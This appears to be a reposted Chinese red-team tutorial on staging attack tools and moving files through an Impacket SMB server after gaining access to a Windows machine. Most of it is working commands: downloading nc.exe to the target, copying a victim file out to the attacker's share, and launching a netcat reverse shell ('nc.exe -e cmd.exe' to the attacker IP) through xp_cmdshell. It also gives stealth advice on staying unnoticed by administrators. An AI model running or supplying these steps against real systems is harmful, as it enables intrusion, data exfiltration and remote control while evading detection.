红队技巧:通过Impacket的SMB服务器实现隐蔽文件传输

admin 2026-03-03 05:22:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种利用Impacket工具集在攻击机上搭建简易SMB文件共享服务器,并通过Windows内置netuse命令从靶机连接进行文件传输的红队技巧。该方法适用于内网环境,尤其适合缺少PowerShell或certutil等工具的老旧或受限Windows系统,能稳定实现文件上传下载。文章提供了详细操作示例,并强调了安全性、操作隐蔽性及网络连通性等注意事项。 综合评分: 85 文章分类: 红队,内网渗透,安全工具,渗透测试


cover_image

红队技巧:通过Impacket的SMB服务器实现隐蔽文件传输

柠檬赏金猎人

2026年2月26日 10:00 广东

概述

获取Windows靶机的访问权限后,文件传输往往是后续操作的关键步骤。与Linux系统不同,老版本或受限的Windows环境可能缺少PowerShell、certutil等便捷工具。本文介绍一种高效可靠的方法:利用Impacket工具集在攻击机上搭建一个简易的SMB文件共享服务器,然后通过Windows内置的net use命令从靶机连接并进行文件传输。这种方法特别适用于内网环境,能够稳定地实现文件的上传与下载。

技术/功能

本方法的核心是使用 Impacket 中的 impacket-smbserver.py 脚本。

  • 攻击机角色:作为SMB服务器,提供文件共享服务。
  • 靶机角色:作为SMB客户端,使用Windows系统自带的net use命令连接共享。
  • 优势:无需在靶机上上传额外客户端,利用系统原生命令,兼容性高,尤其适用于老旧Windows系统。

使用示例

1. 在攻击机(Kali Linux)上启动SMB服务器

首先,准备一个用于共享的目录,例如/root/tools,其中存放了常用的渗透测试工具。

root@kali# ls /root/tools/
nc.exe mimikatz.exe winPEAS.bat accesschk.exe ...

使用Impacket启动SMB服务器,共享该目录。smb是自定义的共享名。

root@kali# impacket-smbserver smb /root/tools/
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

服务器启动后,会监听默认的445端口。

2. 在Windows靶机上连接共享并传输文件

假设攻击机的IP是10.11.0.4

  • 连接SMB共享
  C:\> net use \\10.11.0.4\smb
  命令成功完成。
  • 从共享复制文件到靶机(下载)
  C:\> copy \\10.11.0.4\smb\nc.exe C:\Windows\Temp\nc.exe
       1 个文件已复制。
  • 将靶机文件复制到共享(上传)
  C:\> copy C:\important.txt \\10.11.0.4\smb\
       1 个文件已复制。

文件将出现在攻击机的/root/tools/目录下。

  • 查看当前连接 & 断开连接
  C:\> net use  // 查看所有网络连接
  C:\> net use /d \\10.11.0.4\smb  // 断开指定共享
  C:\> net use * /d /y  // 断开所有网络连接

3. 在受限环境(如通过SQL注入执行命令)中使用

当只有通过xp_cmdshell等途径执行命令时,该方法同样有效。

1> xp_cmdshell 'net use \\10.11.0.4\smb'
2> go
1> xp_cmdshell 'copy \\10.11.0.4\smb
c.exe C:\temp
c.exe'
2> go
1> xp_cmdshell 'C:\temp
c.exe -e cmd.exe 10.11.0.4 443'
2> go

注意事项

  1. 安全性impacket-smbserver默认创建的是无身份验证的共享,网络内任何主机都可以访问。切勿共享包含敏感信息(如笔记、凭证)的目录。
  2. 操作安全(OpSec)
  • 攻击机侧:使用完毕后应及时关闭SMB服务器。服务器日志会显示连接者的IP和用户名(例如[*] Incoming connection (10.11.1.5,3187)),请注意观察。
  • 靶机侧:虽然可以使用net use Z: \\IP\smb将共享映射为本地驱动器(Z盘),但这会创建一个新的盘符,容易被系统用户或管理员发现,隐蔽性较差。建议直接使用UNC路径(\\IP\smb\file)进行操作。
  1. 环境适用性:该方法依赖于SMB协议(445端口)在攻击机和靶机之间的连通性。在严格的网络环境中,出站SMB流量可能被防火墙阻止。
  2. Impacket安装:Kali Linux通常预装Impacket。若未安装,可使用apt install impacket-scripts或从GitHub克隆SecureAuthCorp/impacket仓库。

参考链接

  • https://github.com/SecureAuthCorp/impacket

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:柠檬赏金猎人 《红队技巧:通过Impacket的SMB服务器实现隐蔽文件传输》

评论:0   参与:  0